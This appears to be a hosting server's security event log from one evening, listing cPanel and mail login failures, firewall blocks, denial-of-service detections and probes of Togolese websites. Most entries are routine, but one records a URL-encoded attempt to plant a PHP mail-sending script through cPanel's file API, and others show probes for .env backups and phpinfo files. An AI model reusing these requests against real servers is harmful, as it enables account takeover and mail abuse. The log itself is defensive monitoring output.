201.124.56.177 - - [23/Jun/2026:19:31:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065812&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcolonisation-francaise%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782243100 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/colonisation-francaise/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.8902.1394 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:201.124.56.177


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.0.186
country_id: 2363686
description:
[2026-06-23 19:33:38 +0000] info [webmaild] 196.168.0.186 - kawunyo@wages.tg "POST /cpsess6160702381/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.170.45.140] != Current IP Address [196.168.0.186]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.154.41.70
country_id: 2921044
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/wp-content/uploads/2024/04/Recrutement-stagiaire-communication-15124_inputCP_VF.pdf HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-23 19:35:19 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:35076: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-23 19:35:21 +0000] info [cpaneld] 102.54.238.57 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 3.239.155.243
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 3.239.155.243: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.197.198.140
country_id: 3625428
description:
45.197.198.140 - - [23/Jun/2026:19:40:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9607066&pdata=https%253A%252F%252Fmisstogo.tg%252Fe4%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782243604 HTTP/2.0" 302 0 misstogo.tg "https://misstogo.tg/e4/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.197.198.140


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.222.202.238
country_id: 6252001
description:
[2026-06-23 19:41:03 +0000] info [cpaneld] 13.222.202.238 - iyfttuec "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user iyfttuec (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.25.222
country_id: 2635167
description:
[2026-06-23 19:41:03 +0000] info [cpaneld] 195.63.25.222 - sahamtg "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 34.125.85.98
country_id: 6252001
description:
[2026-06-23 19:43:12 +0000] info [whostmgrd] 34.125.85.98 - - "GET /openid_connect/cpanelid HTTP/1.1" FAILED LOGIN whostmgrd: openid connect: 'whostmgrd' provider 'cpanelid' encountered an error: (XID ftxrze) The [asis,OpenID Connect] provider “cPanelID” is disabled on the service “whostmgrd”.


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 34.125.85.98
country_id: 6252001
description:
[2026-06-23 19:43:16 +0000] info [whostmgrd] 34.125.85.98 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-23 19:43:40 +0000] info [cpaneld] 102.54.238.57 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 13.57.206.122
country_id: 6252001
domain: collation.ucao-uut.tg
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.swp||User:ucaouut||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-23 19:45:36 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:52034: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 13.57.206.122
country_id: 6252001
domain: collation.ucao-uut.tg
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:ucaouut||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.47.25.139
country_id: 1880251
description:
Jun 23 19:46:29 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.47.25.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-23 19:47:02 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:40698: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 202.47.49.52
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/bdaea6 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77350307
name: IM360 WAF: Prohibited WordPress username login/registration
abuser: 173.239.211.8
country_id: 6252001
domain: ruralinfos.tg
description:
IM360 WAF: Prohibited WordPress username login/registration||WPU:yanz@123457||User:expirefreenetmas||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.160
country_id: 130758
description:
Jun 23 19:51:40 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.160 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 205.210.31.192
country_id: 6252001
description:
Jun 23 19:51:52 ns5 pure-ftpd[3510955]: (?@205.210.31.192) [INFO] New connection from 205.210.31.192


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.35.28.47
country_id: 3017382
description:
Jun 23 19:53:20 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.35.28.47 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 3.69.54.154
country_id: 2921044
domain: sophie-immobilier.tg
description:
IM360 WAF: Bad file extension||RSV:8.19||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:mipbtgnb||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 204.101.161.15
country_id: 6251999
description:
204.101.161.15 - - [23/Jun/2026:19:54:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9792103&pdata=https%253A%252F%252Fwww.afrique-distribution.net&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782244477 HTTP/2.0" 302 0 www.afrique-distribution.net "https://www.afrique-distribution.net/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:204.101.161.15


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 193.42.245.112
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:193.42.245.112||TA:193.42.245.112||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 217.60.195.72
country_id: 290557
description:
2026-06-23 19:55:28 H=([217.60.195.72]) [217.60.195.72]:55487 F=<rio.kerr@commercial.co.uk> rejected RCPT <whiteway@white-ways.com>: The mail server could not deliver mail to whiteway@white-ways.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.45.131.252
country_id: 3469034
domain: togomedia24.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tghttp/togomedia24.tg/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.158
country_id: 2635167
description:
[2026-06-23 19:56:39 +0000] info [cpaneld] 5.230.133.158 NEW wcnyaruu:B5eguSakaQbLzLA3 address=5.230.133.158,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.101.182
country_id: 3865483
description:
Jun 23 19:56:26 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.101.182 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.233
country_id: 2635167
description:
[2026-06-23 19:56:33 +0000] info [cpaneld] 5.230.133.233 NEW wcnyaruu:J2aatpRetRJTTfyT address=5.230.133.233,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.255.145
country_id: 3017382
description:
[2026-06-23 19:57:36 +0000] info [cpaneld] 5.231.255.145 NEW wcnyaruu:8NGKbTIER8gYenda address=5.231.255.145,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.20
country_id: 2635167
description:
[2026-06-23 19:57:37 +0000] info [cpaneld] 5.230.133.20 NEW wcnyaruu:kKxsC1TUU3gObGFz address=5.230.133.20,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 149.107.212.22
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/ecobank-remporte-le-prix-du-meilleur-employeur-dafrique-en-2022 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-23 20:03:05 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:42558: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-23 20:03:28 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:48294: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.179.188.134
country_id: 1814991
description:
2026-06-23 20:05:40 dovecot_login authenticator failed for H=(qzmado) [111.179.188.134]:50751: 535 Incorrect authentication data (set_id=administrator)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 5.39.49.244
country_id: 3017382
description:
Denial of Service (DoS) attack was discovered from 5.39.49.244: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.66
country_id: 130758
description:
Jun 23 20:07:46 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.145.135
country_id: 690791
description:
Jun 23 20:10:03 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.145.135 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 188.113.231.91
country_id: 1512440
description:
2026-06-23 20:10:19 H=([188.113.231.91]) [188.113.231.91]:48336 F=<prakash@white-ways.com> rejected RCPT <prakash@white-ways.com>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.40.59.119
country_id: 1269750
description:
[2026-06-23 20:13:21 +0000] info [cpaneld] 20.40.59.119 - fr#v "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.21.76
country_id: 2921044
description:
[2026-06-23 20:15:05 +0000] info [cpaneld] 195.63.21.76 - aopsacai "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 52.34.76.65
country_id: 6252001
description:
52.34.76.65 - - [23/Jun/2026:20:16:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973851&pdata=https%253A%252F%252Fkpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782245769 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:52.34.76.65


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-17.213.32.21.59||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.40.59.119
country_id: 1269750
description:
[2026-06-23 20:21:39 +0000] info [cpaneld] 20.40.59.119 - concours "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user concours (has_cpuser_file failed)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 114.119.141.15
country_id: 1880251
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/action-sociale-une-nouvelle-salle-de-conference-inauguree-a-sokode/<script async src||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 105.174.17.50
country_id: 3351879
description:
Jun 23 20:23:21 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 105.174.17.50 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-23 20:27:10 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:43698: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.41.61.228
country_id: 357994
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/26eme-forum-de-la-reassurance-sani-yaya-ouvre-officiellement-les-travaux HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 125.212.159.55
country_id: 1562822
description:
125.212.159.55 - - [23/Jun/2026:20:28:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13200028&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Factualites%252Fpage%252F32%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782246532 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/actualites/page/32/" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.8473.1364 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:125.212.159.55


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.93.60
country_id: 1512440
description:
2026-06-23 20:29:00 H=([213.230.93.60]) [213.230.93.60]:38769 F=<home@white-ways.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.167.34.120
country_id: 6252001
description:
Jun 23 20:29:44 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.167.34.120 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 179.6.3.233
country_id: 3932488
description:
179.6.3.233 - - [23/Jun/2026:20:30:36 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10142828&pdata=http%253A%252F%252Ftogodailynews.tg%252Fecobank-remporte-le-prix-du-meilleur-employeur-dafrique-en-2022&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782246631 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/ecobank-remporte-le-prix-du-meilleur-employeur-dafrique-en-2022" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:179.6.3.233


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 136.243.171.118
country_id: 2921044
description:
Denial of Service (DoS) attack was discovered from 136.243.171.118: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.112.179.35
country_id: 3469034
description:
Jun 23 20:34:07 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.112.179.35 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 74.48.78.242
country_id: 6252001
description:
Jun 23 20:34:17 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 74.48.78.242 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.86.38.53
country_id: 3895114
description:
[2026-06-23 20:34:46 +0000] info [cpaneld] 195.86.38.53 - 2083 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 20.40.59.119
country_id: 1269750
description:
[2026-06-23 20:34:52 +0000] info [cpaneld] 20.40.59.119 - 93D9 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-23 20:35:21 +0000] info [cpaneld] 102.54.238.57 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.86.38.53
country_id: 3895114
description:
[2026-06-23 20:35:34 +0000] info [cpaneld] 195.86.38.53 - 2083cpsess2664573310frontendjupiterwp-toolkitindex.live.php "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.27
country_id: 130758
description:
Jun 23 20:36:20 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.27 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.190.230.216
country_id: 2750405
description:
[2026-06-23 20:38:13 +0000] info [cpaneld] 146.190.230.216 - cafetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 31.43.18.139
country_id: 690791
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-39.31.43.18.139||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.63.100.67
country_id: 2017370
description:
[2026-06-23 20:39:56 +0000] info [cpaneld] 92.63.100.67 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-23 20:40:47 +0000] info [cpaneld] 102.54.238.57 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.222.202.238
country_id: 6252001
description:
[2026-06-23 20:41:27 +0000] info [cpaneld] 13.222.202.238 - kavznjyb "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kavznjyb (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.0.32.56
country_id: 192950
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/senat-togo-barry-moussa-barque-rencontre-la-cedeao-et-loms/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-23 20:44:52 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:46498: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 5.38.0.226
country_id: 290557
description:
5.38.0.226 - - [23/Jun/2026:20:45:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065611&pdata=https%253A%252F%252Ftogodailynews.tg%252Fwp-json%252Fwp%252Fv2%252Fposts%252F1050&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782247554 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/wp-json/wp/v2/posts/1050" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:5.38.0.226


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.41.111.30
country_id: 286963
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/seminaire-gouvernemental-faure-gnassingbe-invite-le-gouvernement-a-accelerer-davantage-la-mise-en-oeuvre-des-projets-de-la-fdr HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.210.205.138
country_id: 289688
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/b77bea67db0bbf876072a9f87829ba4b_XL-300x219.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/b77bea67db0bbf876072a9f87829ba4b_XL.webp 602w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.238.120.167
country_id: 3469034
domain: cafe.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tg/journee-internationale-de-la-paix-en-2019-cafe-et-jimi-hope-au-togo/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.238.120.167
country_id: 3469034
domain: cafe.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cafe.tghttp/cafe.tg/journee-internationale-de-la-paix-en-2019-cafe-et-jimi-hope-au-togo/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.171.227.7
country_id: 6252001
description:
Jun 23 20:53:01 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.171.227.7 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 82.21.238.134
country_id: 3624060
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-54.82.21.238.134||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.27
country_id: 130758
description:
Jun 23 20:54:28 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.27 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 184.174.57.184
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:20-54.184.174.57.184||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [23/Jun/2026:20:56:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9922202&pdata=http%253A%252F%252Fcrepsad.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782248158 HTTP/1.1" 302 0 crepsad.tg "http://crepsad.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.59.151.208
country_id: 149590
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/Photo-3-768x511.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/Photo-3-300x199.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/Photo-3-1024x681.webp 1024w, http:/togodailynews.tg/wp-content/uploads/2026/06/Photo-3-1536x1021.webp 1536w, http:/togodailynews.tg/wp-content/uploads/2026/06/Photo-3-2048x1362.webp 2048w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.215.101.14
country_id: 1512440
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-les-deux-nouveaux-membres-de-la-cour-constitutionnelle-ont-prete-serment HTTP/1.1||RSV:8.19||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 188.166.176.239
country_id: 1880251
description:
Denial of Service (DoS) attack was discovered from 188.166.176.239: 80 connections per 30 seconds to 80 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 188.93.90.66
country_id: 614540
description:
Denial of Service (DoS) attack was discovered from 188.93.90.66: 80 connections per 30 seconds to 80 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.140.226.32
country_id: 690791
description:
Jun 23 20:58:57 ns5 auth[3361729]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.140.226.32 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.140.226.32
country_id: 690791
description:
2026-06-23 20:58:59 dovecot_login authenticator failed for H=(xyeVnGw) [195.140.226.32]:32896: 535 Incorrect authentication data (set_id=kkuassi@atms.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
